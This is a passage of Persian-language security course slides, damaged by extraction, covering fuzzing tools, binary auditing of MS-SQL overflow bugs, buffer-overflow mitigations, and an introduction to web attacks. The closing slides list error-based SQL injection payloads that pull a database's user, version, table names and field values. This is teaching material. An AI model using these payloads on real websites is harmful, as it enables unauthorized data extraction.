             ‫‪http//:www.fuzzing.org/wp-content/Amini-Portnoy-BHUS07.zip‬‬



                                                                            ‫72‬
‫شناسایی مشکلت امنیتی نرم افزار- ‪Fuzzing‬‬
                                                ‫برخی از ‪ Fuzzer‬های موجود‬            ‫‪‬‬
              ‫‪ :PROTOS‬بررسی موثر پروتکل هایی همچون ‪SNMP ,SIP‬و ...‬               ‫‪‬‬
 ‫‪ :CodeNomicon‬شرکتی تجاری ، اراده دهنده ‪ Fuzzer‬برای بیش از 08 پروتکل‬            ‫‪‬‬
                              ‫مختلف ، وابسته به تیم تحقیقاتی بنیانگذار ‪PROTOS‬‬
 ‫‪ SMUDGE :General Fuzzing Framework‬برای پروتکل های تحت شبکه‬                     ‫‪‬‬
‫‪ : SPIKE‬یکی از شناخته شده ترین ‪ Fuzzer‬های ‪ General‬برای پروتکل های تحت‬           ‫‪‬‬
                                                                         ‫شبکه‬
   ‫‪ : Peach‬یک ‪ framework‬مبتنی بر ‪ Python‬با پشتیبانی از پروتکل های متعدد‬         ‫‪‬‬
                         ‫‪ : MangleMe‬یک ‪ fuzzer‬برای بررسی ‪ Browser‬ها‬             ‫‪‬‬
                                  ‫‪ : Mangle‬یک فازر برای بررسی ‪File-format‬‬       ‫‪‬‬
                                           ‫‪IRCfuzz :IRC Client Fuzzer‬‬           ‫‪‬‬
                                         ‫‪COMBust :COM Object fuzzer‬‬             ‫‪‬‬
                           ‫لیستی از برخی دیگر از ‪ Fuzzer‬های شناخته شده‬              ‫‪‬‬
                             ‫‪http//:www.fuzzing.org/fuzzing-software ‬‬


                                                                                    ‫82‬
‫شناسایی مشکلت امنیتی نرم افزار- ‪Fuzzing‬‬




     ‫‪DEMO‬‬




                                     ‫92‬
‫شناسایی مشکلت امنیتی نرم افزار- ‪Binary Analyze‬‬
  ‫در صورت در دسترس نبودن کد نرم افزار ، این روش بسیار کارآمد ، و درعین حال مشکل‬         ‫‪‬‬
                                                                               ‫میباشد‬
   ‫بسیاری از مشکلت امنیتی که در نرم افزارهای کد باز رفع شده اند هنوز در نرم افزارهای‬    ‫‪‬‬
                                              ‫انحصاری)‪ (closed-source‬دیده میشوند‬
                                    ‫این روش هنوز یک تکنیک نوپا و ناقص بشمار می آید‬      ‫‪‬‬
  ‫همانند بررسی کد ، در این روش نیز روند و منطق نرم افزار بررسی میگردد ، اما به روش‬      ‫‪‬‬
                                                                      ‫مهندسی معکوس!‬
                                         ‫نیازمند درک و تجربه بال در بررسی زبان ماشین‬    ‫‪‬‬
‫اگرچه تکنیک ‪ Fuzzing‬در بررسی نرم افزارهای ‪ closed-source‬بسیار مفید میباشد اما‬           ‫‪‬‬
 ‫بررسی تمام قابلیت ها و توابع نرم افزار توسط ‪ Fuzzing‬بسیار مشکل و گاهآ نا ممکن است‬
                                                           ‫)‪(Low Code Coverage‬‬
              ‫‪ Binary Audit‬محدوده بیشتری )در واقع کل( از نرم افزار را پوشش می دهد.‬      ‫‪‬‬
     ‫همانند بررسی کد ، توابع آسیب پذیر در فایل باینری نیز دارای مشخصه خاص خود هستند‬     ‫‪‬‬




                                                                                        ‫03‬
‫شناسایی مشکلت امنیتی نرم افزار- ‪Binary Analyze‬‬
                                         ‫روش ها و دیدگاه های مختلف انجام ‪Static Binary Analyze‬‬                 ‫‪‬‬
‫‪ ‬جستجوی ‪ Pattern‬های مربوط به فراخوانی توابع آسیب پذیر مانند ‪ strcpy,strcat,sprintf‬و سایر موارد‬
                                                                                         ‫مشابه‬
‫در صورتی که کیفیت کد نرم افزار پایین باشد و یا هدف یک بررسی سریع و سطحی باشد از این روش استفاده میشود‬      ‫‪‬‬

                                              ‫‪ ‬آنالیز و بررسی حلقه ها)‪ (loop‬و توابع ‪ read/write‬مشکوک‬
                                                ‫‪:A variable indexed write into a character array‬‬
                                                ‫‪:A variable indexed write to a local stack buffer‬‬
                                 ‫‪:A write to a pointer, followed by an increment of that pointer‬‬
                                     ‫‪:A sign extended copy from an attacker-controlled buffer‬‬
  ‫‪ ‬بررسی منطق نرم افزار . برخی از ضعف های امنیتی هیچ ارتباطی با مشکلت ‪Memory corruption‬‬
                           ‫نداشته و ناشی از منطق اشتباه نرم افزار در برخورد با داده ها هستند.‬
                                                            ‫مثال : مشکل امنیتی ‪IIS Double Decode‬‬           ‫‪‬‬

                                       ‫کشف این دسته از مشکلت توسط ‪ Binary Audit‬بسیار مشکل میباشد‬           ‫‪‬‬

                                 ‫‪ ‬بررسی تفاوت های بین نسخه های مختلف یک برنامه آسیب پذیر )‪(Diffing‬‬
                               ‫ممکن است جزئیات مشکل امنیتی دقیقآ منتشر نشود ، اما آگاهی از آنها لزم باشد‬   ‫‪‬‬

          ‫ممکن است تولید کننده نرم افزار بدون اعلم عمومی ، اقدام به رفع یک مشکل امنیتی در نرم افزار کند‬    ‫‪‬‬

             ‫استفاده از ابزارهایی که تفاوت های میان دو نسخه متفاوت از یک فایل را نمایان میکنند )‪(BinDiff‬‬   ‫‪‬‬

‫-‪http//:www.breakingpointsystems.com/community/blog/exploiting-iis-via-htmlencode‬‬                          ‫‪‬‬

                                                 ‫‪http//:www.zynamics.com/files/ms08001.swf‬‬                 ‫‪‬‬

                ‫‪ ‬در همه این موارد ، استفاده از ابزارهای پیشرفته برای کمک به بررسی ، اجتناب ناپذیر است‬
                 ‫بررسی گراف های رسم شده بر اساس بخش های مختلف نرم افزار ، کار را بسیار آسان تر میکند‬       ‫‪‬‬

                                ‫قابلیت های رسم گراف در نرم افزار ‪ IDA Pro‬و نرم افزار جانبی ‪BinNavy‬‬         ‫‪‬‬

                                                                                                               ‫13‬
‫شناسایی مشکلت امنیتی نرم افزار- ‪Binary Analyze‬‬




                                            ‫23‬
Binary Analyze -‫شناسایی مشکلت امنیتی نرم افزار‬
        ‫ ، ناشی از استفاده اشتباه از‬MS-SQL ‫مثال : مشکل سرریز بافر در‬                            
                                                           ()sprintf
mov edx, ]ebp+var_24C8[                ;‫متغیر با سایز4201 بایت که از پکت ارسالی خوانده میشود‬
push edx
push offset aSoftwareMic_17 ; ”SOFTWAREMicrosoftMicrosoft SQL
Server”...
push offset aSSMssqlserverC ; ”%s%sMSSQLServerCurrentVersion”
lea eax, ]ebp+var_84[                  ; ‫! بافر پشته با سایز821 بایت‬
push eax
call ds:sprintf
add esp, 10h

 ()strcpy ‫ ، ناشی از استفاده اشتباه از‬MS-SQL ‫مشکل امنیتی دیگری در‬                               
mov eax, ]ebp+arg_4[
add eax, ]ebp+var_218[
push eax
lea ecx, ]ebp+var_214[                        ; ‫بافر پشته با حجم215 بایت که محتوای آن از پکت‬
                                                       ‫دریافت شده و بدون کنترل سایز کپی میشود‬
push ecx
call strcpy
add esp, 8
                                                                                                33
‫شناسایی مشکلت امنیتی نرم افزار‬
        ‫سه روش کلی یاد شده هر یک به تنهایی میتوانند نتیجه های خوبی را در حاصل شوند‬             ‫‪‬‬
                          ‫ترکیب روش های فوق ، بازدهی آنالیز را بسیار افزایش میدهد‬              ‫‪‬‬
                         ‫یک دیدگاه در این مورد ، ترکیب ‪ Fuzzing‬با آنالیز کد میباشد‬             ‫‪‬‬
  ‫‪ ‬همزمان با ‪ ، Fuzzing‬سورس کد نیز بررسی میگردد تا میزان ‪ cove-coverage‬در زمان‬
                                                           ‫‪ Fuzzing‬مشخص گردد .‬
‫‪ ‬با این روش میتوان مشخص کرد که کدام یک از بخش های نرم افزار یا کد توسط ‪ Fuzzer‬پوشش‬
                                            ‫داده شده ، و کدام بخش ها عمل بررسی نشده‬
                                 ‫‪http//:en.wikipedia.org/wiki/Code_coverage ‬‬
       ‫دیدگاه دیگر ، ترکیب ‪ Fuzzing‬با آنالیز ‪ Binary‬در زمان اجرای نرم افزار میباشد.‬            ‫‪‬‬
                   ‫‪ ‬استفاده از ‪ Debugger/Disassembler‬ها برای راهنمایی ‪ Fuzzer‬ها‬
                                             ‫‪ ‬افزایش ‪ Code Coverage‬در ‪Fuzzing‬‬
 ‫‪ ‬مقاله جالب “‪http//:uninformed.org/v?=all&a=t&27=pdf “Effective Bug Discovery‬‬
           ‫‪ “E volutionaryF uzzingSystem“ ‬یک ‪ framework‬با دیدی جدید نسبت به ‪Fuzzing‬‬
          ‫‪ ‬فراگرفتن پروتکل های جدید بصورت پویا و کمک گرفتن از آنالیز نرم افزار در زمان اجرا‬
                                         ‫‪http://www.vdalabs.com/tools/efs_gpf.html ‬‬




                                                                                               ‫43‬
‫مقابله با حملت سرریز بافر‬
 ‫اولین و بهترین روش مقابله با این دسته از مشکلت امنیتی ، رعایت نکات امنیتی در زمان‬        ‫‪‬‬
                                                               ‫تولید نرم افزار میباشد‬
                                      ‫استفاده از متدلوژی ‪ SDLC‬در تولید نرم افزار‬          ‫‪‬‬
 ‫مقابله به روش پیشگیری ، تنها در صورتی ممکن است که سورس کد نرم افزار در دسترس‬             ‫‪‬‬
                                                                              ‫باشد ،‬
                                                       ‫اما مشکلتی نیز وجود دارد !‬         ‫‪‬‬
                                                                ‫نرم افزارهای قدیمی‬    ‫‪‬‬
                                                       ‫عدم دسترسی به ‪Developer‬‬        ‫‪‬‬
                                              ‫عدم آگاهی ‪ Developer‬از نکات امنیتی‬      ‫‪‬‬
                                                              ‫اشتباهات برنامه نویسی‬   ‫‪‬‬
                                                  ‫نرم افزار های ‪! Closed-Source‬‬       ‫‪‬‬
‫راهکارهایی برای مقابله با این قبیل مشکلت وجود دارند ، اما هیچ یک مشکل را بطور کامل‬        ‫‪‬‬
               ‫حل نکرده و تنها شرایط برای استفاده از مشکل امنیتی را مشکل تر می کنند .‬
    ‫بسته به شرایط و اختیارات و امکانات در دسترس ، از یک یا چند راهکار استفاده میشود.‬      ‫‪‬‬




                                                                                          ‫53‬
‫مقابله با حملت سرریز بافر‬

‫دیدگاه های مختلفی برای مقابله با حملت سرریز بافر وجود دارد و‬               ‫‪‬‬
                        ‫بر همین اساس روش های مختلف نیز:‬
        ‫‪ ‬تشخیص مشکلت امنیتی در خلل روند تولید ، و گوشزد کردن آنها‬
 ‫‪ ‬سعی در پیشگیری از بروز مشکلت سرریز بافر و اضافه کردن تمهیداتی‬
                                       ‫به برنامه ، در زمان کامپایل کردن‬
‫‪ ‬پیاده سازی تمهیدات امنیتی در سطح سیستم عامل برای تشخیص و یا مقابله‬
                                                  ‫با حملت سرریز بافر‬
      ‫‪ ‬استفاده از بسته های نرم افزاری الحاقی به سیستم عامل ، برای جبران‬
                                          ‫کمبود های امنیتی سیستم عامل‬
     ‫‪ ‬استفاده ازبسته های نرم افزاری جانبی ، برای جبران و یا تکمیل کمبود‬
                                                ‫های امنیتی سیستم عامل‬
   ‫‪ ‬ترکیب امکانات امنیتی سیستم عامل با امکانات اراده شده توسط پردازنده‬


                                                                           ‫63‬
‫مقابله با حملت سرریز بافر‬
                                                                                                      ‫کامپایلرهای امن‬   ‫‪‬‬
                                                                                      ‫‪Visual Studio >2003 ‬‬
                                                       ‫محافظت در برابر حملت سرریز بافر در ‪Stack‬‬                 ‫‪‬‬

  ‫اساس بخش زیادی از امنیت در مقابل حملت ‪ stack overflow‬در ویندوز سرور 3002 1‪ SP‬و 2‪ XP SP‬و‬                       ‫‪‬‬
                                                                                     ‫نسخه های جدید تر‬
     ‫اضافه کردن بخش هایی به کد در زمان کامپایل )‪ (Buffer Security Checks‬برای کنترل صحت ‪return‬‬                   ‫‪‬‬
                                                            ‫‪ address‬ها و سایر بخش های مهم ‪Stack‬‬
                                                                      ‫آشنایی با مفهوم ‪Stack Cookies‬‬             ‫‪‬‬

                              ‫اضافه شده به ‪ Visual Studio‬از نسخه 3002 و فعال بصورت پیشفرض‬                       ‫‪‬‬

                                   ‫/‪ GS‬مشکلت امنیتی را حل نمیکند بلکه استفاده از آنها را مشکل میکند‬             ‫‪‬‬

                                              ‫تکنیک هایی برای دور زدن این مکانیزم امنیتی وجود دارد‬              ‫‪‬‬
                                                     ‫بازنویسی اشاره گر ‪ SEH‬برای اجرای کد در حافظه‬      ‫‪‬‬
                      ‫‪http//:www.ngssoftware.com/papers/defeating-w2k3-stack-protection.pdf‬‬            ‫‪‬‬

                               ‫استفاده از /‪ SafeSEH‬برای محافظت از اشاره گر ‪ SEH‬و مقابله با مشکل /‪GS‬‬             ‫‪‬‬

‫کلیه بخش های نرم افزار میبایست توسط این مکانیزم کامپایل شده باشند. وجود برنامه ها / توابع کتابخانه ای محافظت‬    ‫‪‬‬
                                                                               ‫نشده ، کل سیستم را تهدید میکند‬
                                    ‫‪ ‬ماژول های اضافه شده به ‪( GCC (…, StackGuard , ProPolice‬‬
                                                                          ‫آستفاده از ایده ‪Stack Canaries‬‬        ‫‪‬‬

                                                  ‫قابل استفاده در 1.3> ‪ GCC‬با سویچ -‪fstack-protector‬‬            ‫‪‬‬

                                                                   ‫فعال بصورت پیشفرض در 1.4> ‪GCC‬‬                ‫‪‬‬

                                                            ‫تکنیک هایی برای دور زدن این مکانیزم امنیتی :‬        ‫‪‬‬
                ‫‪http//:www.coresecurity.com/files/attachments/Richarte_Stackguard_2002.pdf‬‬             ‫‪‬‬



                                                                                                                        ‫73‬
‫مقابله با حملت سرریز بافر‬
                                                                                                        ‫امکانات ارائه شده توسط پردازنده‬       ‫‪‬‬
                                                                                                           ‫‪(NX Bit (No eXecute‬‬            ‫‪‬‬
                                                                   ‫تقسیم نواحی مختلف حافظه برای ذخیره داده ها و یا دستورات پردازنده‬   ‫‪‬‬

‫پیدا سازی شده در پردازنده های ‪ Intel‬از نسل ‪ Pentium 4 ،AMD‬و ‪ . SPARC‬پردازنده های 46 بیتی پیش از انواع 23 بیتی به این‬                  ‫‪‬‬
                                                                                                                   ‫قابلیت مجهز شدند‬
     ‫پردازنده مجهز به ‪ NX/DX‬به تنهایی قادر به جلوگیری از حملت نیست بلکه این قابلیت میبایست توسط سیستم عامل به کار گرفته شود‬           ‫‪‬‬

                                ‫تقریبآ تمامی سیستم های عامل کنونی ) نسخ جاری و جدید ( هر یک به نحوی از این قابلیت استفاده میکنند.‬     ‫‪‬‬

 ‫‪ NX bit‬در واقع اشاره به آخرین بیت معنی دار از ‪ Page table entry‬در حافظه دارد . 0 بودن این بیت به معنی ‪ executable‬بودن‬                ‫‪‬‬
                                             ‫محتوای این بخش )‪ (page‬و 1 بودن به معانی این است که این بخش تنها حاوی داده ها است.‬
                       ‫در سیستم های ‪ 32bit‬این بیت در واقع وجود ندارد و این راهکار بصورت ‪ Software Emulated‬اجرا میگردد‬                 ‫‪‬‬

                                                  ‫‪ NX‬امکان مقابله با حملت ‪ Stack Overflow‬و ‪ Heap Overflow‬را میسر میکند‬                ‫‪‬‬

                                                                                        ‫تمهیدات پیاده سازی شده در سطح سیستم عامل‬              ‫‪‬‬
  ‫بسیاری از قابلیت های امنیتی پیاده سازی شده در سطح سیستم عامل مبتنی بر ‪ NX‬میباشد و هر سیستم عامل نسخه و روشی‬                             ‫‪‬‬
                                                                    ‫مربوط به خود را معماری کرده و بکار می برد .‬
                         ‫در صورت عدم وجود ‪ CPU‬مجهز به ‪ NX‬این قابلیت بصورت کامل مجازی پیاده سازی میگردد‬                                    ‫‪‬‬
‫)‪ (A ddressS paceL ayoutRandomization‬یکی دیگر از تکنیک های مورد استفاده برای مقابله با حملت سرریز‬                                         ‫‪‬‬
                                                                                                      ‫بافر میباشد‬
‫مفهوم ‪ ASLR‬در سیستم عامل های مختلف با نام های مختلفی پیاده سازی شده اما وجوه مشترک بسیاری میان آنها وجود دارد‬                             ‫‪‬‬
  ‫‪ ASLR‬بصورت تصادفی اقدام به موقعیت دهی به بخش های مختلف یک پروسه در حافظه مینماید که عمومآ شامل ‪Base‬‬                                     ‫‪‬‬
               ‫‪ ، Address‬موقیت قرار گرفتن توابع کتابخانه ایی ، ‪ Stack‬و ‪ Head‬در محدوده آدرس آن پروسه میگردد.‬




                                                                                                                                              ‫83‬
‫مقابله با حملت سرریز بافر‬
                                 ‫مکانیزم های پیاده سازی شده در سیستم عامل های مختلف:‬       ‫‪‬‬
                                ‫‪ : FreeBSD ‬پشتیبانی از پردازنده های ‪ NX‬از نسخه 3.5‬
              ‫‪ : Linux ‬پشتیبانی از پردازنده های ‪ 32/64bit‬دارای ‪ NX‬از کرنل نسخه 8.6.2‬
      ‫کرنل ‪ 32bit‬ارائه شده توسط برخی نگارش ها مانند 6‪OpenSUSE Ubuntu , Fedora C‬‬      ‫‪‬‬
                       ‫بصورت پیشفرض برای استفاده از ‪ NX‬سخت افزاری تنظیم نشده اند‬
     ‫‪ : RedHat ‬پشتیبانی از ‪ NX‬تمامی ‪ CPU‬هاتوسط راهکار اختصاصی . ‪Exec Shield‬‬
      ‫‪ Emulated-NX‬تنها بر روی پردازنده های 23‪ IA‬پشتیبانی میگردد. ارائه شده در ‪ FC‬و‬
                                                                                ‫‪RHEL‬‬
‫‪ : PAX ‬این تکنولوژی برای پیاده سازی ‪ NX‬در سیستم های فاقد امکان سخت افزاری طراحی شده‬
                                              ‫و کلیه پردازنده های 68‪ x‬را پشتیبانی میکند.‬
                       ‫کرنل لینوکس هنوز بطور پیشفرض این تکنولوژی را بکار نبرده است‬   ‫‪‬‬

  ‫پشتیبانی از ‪,PowerPC ,PA-RISC ,(and 64 bit 32) MIPS ,IA-64 ,AMD64 ,Alpha‬‬           ‫‪‬‬
                                                                        ‫‪SPARC‬‬
    ‫استفاده شده بطور پیشفرض در ‪Adamantix , Hardened Gentoo , Hardened Linux‬‬          ‫‪‬‬

    ‫‪ : Mac OSX ‬پشتیبانی از ‪ NX‬پردازنده های اینتل از نسخه 4.01 و کلیه پردازنده های تحت‬
                                                                            ‫پوشش ‪OSX‬‬




                                                                                           ‫93‬
‫مقابله با حملت سرریز بافر‬
                                                                                     ‫مکانیزم های پیاده سازی شده در سیستم عامل های مختلف:‬                        ‫‪‬‬
             ‫‪ : Windows‬پشتیبانی از ‪ NX‬برای اولین بار در معماری 68‪ x‬از نسخه 2‪ XP SP‬و 3002 1‪Server SP‬‬                                                         ‫‪‬‬
                                                            ‫ارائه شده تحت نام ‪( DEP (Data Execution Prevention‬‬                                          ‫‪‬‬

                                               ‫بطور پیشفرض تنها پروسه ها و سرویس های اصلی سیستم عامل محافظت میشوند‬                                      ‫‪‬‬

                                                      ‫در صورت پشتیبانی پردازنده از ‪ NX ،DEP‬بطور خودکار فعال میگردد‬                                      ‫‪‬‬

‫در نسخه های اولیه ‪ ، DEP‬از ‪ ASLR‬استفاده نشده ! امکان دور زدن ‪ DEP‬و حتی غیر فعال کردن این مکانیزم توسط حملت -‪return‬‬                                      ‫‪‬‬
                                                                                     ‫‪ to-libc‬به همین دلیل میسر میشود.‬
                                               ‫مثالی عینی از حمله به ‪ DEP‬حتی با وجود بکار بستن کلیه تمهیدات امنیتی ‪ NX‬و سیستم عامل!‬                 ‫‪‬‬
                ‫‪http//:metasploit.com/svn/framework3/trunk/modules/exploits/windows/dcerpc/msdns_zonename.rb‬‬                                        ‫‪‬‬
                                       ‫مقاله ای بسیار جالب از نحوه دور زدن مکانیزم ‪http//:uninformed.org/v?=a&2=4 NX+DEP‬‬                            ‫‪‬‬

  ‫‪ (SafeSEH (Software DEP‬تکنولوژی دیگری میباشد که به ‪ NX‬ارتباطی نداشته و برای حفاظت علیه حملت برای سو استفاده از‬                                        ‫‪‬‬
                                                                                               ‫‪ SEH‬پیاده سازی شده است‬
                                                              ‫استفاده از این تکنولوژی منوط به استفاده نرم افزار از آن در زمان تولید )کامپایل( است‬   ‫‪‬‬
        ‫بکمک ‪ SafeSEH‬سیستم عامل تنها اجازه استفاده از ‪ Exception Handler‬هایی را به نرم افزار میدهد که قبل تعریف و ‪ register‬شده اند.‬                 ‫‪‬‬

                                       ‫ویندوز ‪ Vista‬مبتنی بر نسخه جدید ‪ DEP‬میباشد که از تکنولوژی ‪ ASLR‬بهره می برد.‬                                      ‫‪‬‬

              ‫در صورتی که پردازده از ‪ NX‬پشتیبانی نکند ، ویندوز پشتیبانی از این امکان بصورت ‪ Software-Emulated‬را ندارد‬                                   ‫‪‬‬

                                                       ‫‪ : NetBSD‬بهره گیری از ‪ Non Executable Heap/Stack‬از نسخه 0.2‬                                          ‫‪‬‬
                       ‫پشتیبانی از ‪amd64, sparc64, sparc(sun4m, sun4d) , powerpc(ibm4xx), alpha, sh5, hppa‬‬                                              ‫‪‬‬

                                                                   ‫عدم پشتیبانی از ‪ Emulated-NX‬بطور پیشفرض‬                                              ‫‪‬‬

                               ‫‪ : OpenBSD‬پشتیبانی از ‪ NX‬تحت تکنولوژی اختصاصی با نام ‪ ( W^X (WAX‬از نسخه 3.3‬                                                  ‫‪‬‬
                                                                                      ‫پشتیبانی از ‪Alpha, AMD64, HPPA, and SPARC‬‬                         ‫‪‬‬

                                                                                         ‫پشتیباتی از ‪ Emulated-NX‬در برخی از پردازنده ها‬                 ‫‪‬‬

                                                                     ‫‪ : Solaris‬بهره گیری از ‪ Non Executable Stack‬از نسخه 6.2‬                                ‫‪‬‬




                                                                                                                                                                ‫04‬
‫مقابله با حملت سرریز بافر‬




                       ‫14‬
‫مقابله با حملت سرریز بافر‬
                                                            ‫استفاده از نرم افزارها و الحاقیه های جانبی‬    ‫‪‬‬
                                                                               ‫‪ ‬بهبود امنیت سیستم عامل‬
‫اضافه کردن قابلیت های امنیتی مورد نیاز به سیستم عامل ، در صورت عدم وجود آنها بصورت پیشفرض‬           ‫‪‬‬
                         ‫‪… , ASLR , Non Executable Stack/Heap , Security Policies‬‬              ‫‪‬‬
                                                                                  ‫‪GRSecurity‬‬   ‫‪‬‬
                                       ‫‪http://www.grsecurity.net/features.php ‬‬
                                                        ‫‪ ‬اضافه کردن ‪ PAX‬به کرنل لینوکس‬
                         ‫‪ ‬مقابله با ‪ Stack/Heap Overflow‬با استفاده از تکنیک های مختلف‬
                                                          ‫‪ ‬بهبود امنیت کامپایلر سیستم عامل‬
                                                           ‫‪ } ... ‬و بسیاری امکانات دیگر!{‬
                                                ‫‪ ‬استفاده از نرم افزارهای جانبی برای مقابله با حملت‬
                                                         ‫رایج در سیستم عامل های خانواده ویندوز‬      ‫‪‬‬

                                          ‫جبران کمبود های امنیتی سیستم عامل مانند ‪ NX‬و ‪ASLR‬‬         ‫‪‬‬

                      ‫تشخیص حملت سرریز بافر از طریق مانیتور کردن حافظه و جلوگیری از آنها‬            ‫‪‬‬

                ‫استفاده در کنار قابلیت های امنیتی سیستم عامل ، برای پیچیده تر کردن مکانیزم حملت‬     ‫‪‬‬

         ‫استفاده در مواردی که ناچار به استفاده از سیستم عامل های نا امن و یا نسخه های قدیمی هستیم‬   ‫‪‬‬

                              ‫استفاده بعنوان ‪(HIPS (Host Intrusion Prevention System‬‬                ‫‪‬‬

                                                  ‫ارائه غالبآ بصورت بسته های نرم افزاری تجاری‬       ‫‪‬‬
                  ‫‪http://www.eeye.com/html/products/blink/index.html : Eeye Blink‬‬              ‫‪‬‬
                                          ‫‪/http://www.wehnus.com : WhehnTrust‬‬                  ‫‪‬‬
                                         ‫‪http://www.ngsec.com : StackDefender‬‬                  ‫‪‬‬
                                                             ‫... }‪{!Google for more‬‬            ‫‪‬‬




                                                                                                          ‫24‬
‫حمله به نرم افزارهای تحت وب‬

   ‫روز به روز بر محبوبیت و کاربرد نرم افزارهای تحت وب اضافه میگردد‬      ‫‪‬‬

 ‫نقطه شروع بسیاری از حملت علیه سیستم ها و شبکه ها نرم افزارهای تحت‬      ‫‪‬‬
                                                           ‫وب میباشد‬
‫در بسیاری از موارد ، نرم افزارهای تحت وب تنها نقطه دسترسی یک نفوذگر‬     ‫‪‬‬
                                  ‫به سیستم های هدف قرار گرفته میباشند‬
      ‫در ادامه برخی از حملت شایع علیه نرم افزارهای تحت وب و همچنین‬      ‫‪‬‬
 ‫راهکارهایی برای پیشگیری و مقابله با این حملت مورد بررسی قرار خواهد‬
                                                                ‫گرفت‬




                                                                        ‫34‬
‫حمله به نرم افزارهای تحت وب‬

‫ آشنایی با انواع حملت مبتنی بر نرم افزارهای تحت وب‬
                      Cross-Site Scripting     

                              SQL Injection    

                         Command Injection     

                    Dynamic code execution     

                   Cookie/Session Hijacking    

                  Parameter/form Tampering     

                           Buffer Overflows    

                         Directory Traversal   

                          Forceful Browsing    

                      Information Leakages     

                       Harvesting Attacks      




                                                      44
‫حمله به نرم افزارهای تحت وب‬

‫‪ ‬آشنایی با آناتومی حمله به سیستم های تحت وب‬
               ‫پویش برای شناسایی نرم افزار تحت وب‬       ‫‪‬‬

‫‪Web Spidering and User directed spidering‬‬       ‫‪‬‬

             ‫‪Discovering Hidden contents‬‬        ‫‪‬‬

‫‪Checking search engines and archive sites‬‬       ‫‪‬‬

         ‫‪Brute-forcing directories and files‬‬    ‫‪‬‬

       ‫‪Identify entry points for user inputs‬‬    ‫‪‬‬

                  ‫جمع آوری اطلعات و شناسایی هدف‬         ‫‪‬‬

                              ‫شناسایی وب سرور‬   ‫‪‬‬

                   ‫شناسایی ‪Application Server‬‬   ‫‪‬‬

                  ‫تست و بررسی وجود آسیب پذیری ها‬        ‫‪‬‬

              ‫طراحی روش حمله و نحوه پیاده سازی آن‬       ‫‪‬‬

                                      ‫پیاده سازی حمله‬   ‫‪‬‬




                                                            ‫54‬
‫حمله به نرم افزارهای تحت وب‬

              ‫‪ ‬بررسی حملت ‪SQL Injection‬‬
      ‫‪ ‬آشنایی با مکانیزم حملت ‪SQL Injection‬‬
       ‫‪ ‬نحوه جستجو و شناسایی ‪SQL Injection‬‬
                       ‫‪Blind SQL Injection ‬‬
                     ‫‪Normal SQL Injection ‬‬
              ‫‪ ‬عبور از فرم های اعتبار سنجی‬
    ‫‪ ‬تزریق دستورات ( )‪SELECT,UNION‬‬
‫‪SELECT,INSERT,UPDATE,DELETE‬‬
 ‫‪ ‬استخراج اطلعات مفید اولیه از بانک اطلعاتی‬
                 ‫‪ ‬مشخص کردن نسخه بانک اطلعاتی‬
‫‪ ‬مشخص کردن نام کاربری مورد استفاده بانک اطلعاتی‬


                                                   ‫64‬
‫حمله به نرم افزارهای تحت وب‬
                                     ‫استخراج اطلعات مورد نظر از بانک اطلعاتی بر اساس پیغام های خطا‬            
                                                                        : Integer ‫بررسی پارامتر از نوع‬    
                                                         –http://[site]/page.asp?id=1 having 1=1    

Column '[COLUMN NAME]' is invalid in the select list because it is not contained in an aggregate    
                                                    .function and there is no GROUP BY clause
                                                                          : String ‫بررسی پارامتر از نوع‬   
                                                         –http://[site]/page.asp?id=x' having 1=1   

Column '[COLUMN NAME]' is invalid in the select list because it is not contained in an aggregate    
                                                    .function and there is no GROUP BY clause
                                                                         ‫استخراج نام کاربر بانک اطلعاتی‬   
                                           –((http://[site]/page.asp?id=1 or 1=convert(int,(USER    

            .Syntax error converting the nvarchar value '[DB USER]' to a column of data type int    

                                                                              ‫استخراج نام بانک اطلعاتی‬    
                                       –((http://[site]/page.asp?id=1 or 1=convert(int,(DB_NAME     

            .Syntax error converting the nvarchar value '[DB NAME]' to a column of data type int    

                                                                            ‫استخراج نسخه بانک اطلعاتی‬     
                                   –((http://[site]/page.asp?id=1 or 1=convert(int,(@@VERSION       

        .Syntax error converting the nvarchar value '[DB VERSION]' to a column of data type int     

                                                                                      ‫استخراج نام سرور‬    
                             –((http://[site]/page.asp?id=1 or 1=convert(int,(@@SERVERNAME          

      .Syntax error converting the nvarchar value '[SERVER NAME]' to a column of data type int      




                                                                                                              47
‫حمله به نرم افزارهای تحت وب‬
                                              (2) ‫استخراج اطلعات مورد نظر از بانک اطلعاتی بر اساس پیغام های خطا‬                
   ‫استخراج نام اولین‬Table
         http://[site]/page.asp?id=1 or 1=convert(int,(select top 1 name from sysobjects where xtype=char(85)))–
         Syntax error converting the nvarchar value '[TABLE NAME 1]' to a column of data type int.
   ‫استخراج نام دومین‬Table
         http://[site]/page.asp?id=1 or 1=convert(int,(select top 1 name from sysobjects where xtype=char(85) and ,name>'TABLE-
          NAME-1'))–
         Syntax error converting the nvarchar value '[TABLE NAME 2]' to a column of data type int.
   ‫استخراج نام سومین‬Table
         http://[site]/page.asp?id=1 or 1=convert(int,(select top 1 name from sysobjects where xtype=char(85) and ,name>'TABLE-
          NAME-2'))-- Syntax error converting the nvarchar value '[TABLE NAME 3]' to a column of data type int.
   ‫استخراج نام اولین‬Column ‫در‬Table
         http://[site]/page.asp?id=1 or 1=convert(int,(select top 1 column_name from DBNAME.information_schema.columns where
          table_name='TABLE-NAME-1'))–
         Syntax error converting the nvarchar value '[COLUMN NAME 1]' to a column of data type int.
   ‫استخراج نام دومین‬Column ‫در‬Table
         http://[site]/page.asp?id=1 or 1=convert(int,(select top 1 column_name from DBNAME.information_schema.columns where
          table_name='TABLE-NAME-1' and column_name>'COLUMN-NAME-1'))–
         Syntax error converting the nvarchar value '[COLUMN NAME 2]' to a column of data type int.
   ‫استخراج اولین‬Field ‫از اولین‬Row
         http://[site]/page.asp?id=1 or 1=convert(int,(select top 1 COLUMN-NAME-1 from TABLE-NAME-1))–
         Syntax error converting the nvarchar value '[FIELD 1 VALUE]' to a column of data type int.
   ‫استخراج دومین‬Field ‫از اولین‬Row
         http://[site]/page.asp?id=1 or 1=convert(int,(select top 1 COLUMN-NAME-2 from TABLE-NAME-1))–
         Syntax error converting the nvarchar value '[FIELD 2 VALUE]' to a column of data type int.
   ‫استخراج اولین‬Field ‫از دومین‬Row
         http://[site]/page.asp?id=1 or 1=convert(int,(select top 1 COLUMN-NAME-1 from TABLE-NAME-1 where COLUMN-
          NAME-1 NOT in ('FIELD-1-VALUE') order by COLUMN-NAME-1 desc))–
         Syntax error converting the nvarchar value '[FIELD 1 VALUE OF 2ND ROW]' to a column of data type int.


                                                                                                                             48
‫حمله به نرم افزارهای تحت وب‬
                                               Union ‫استخراج اطلعات از بانک اطلعاتی با استفاده از‬    
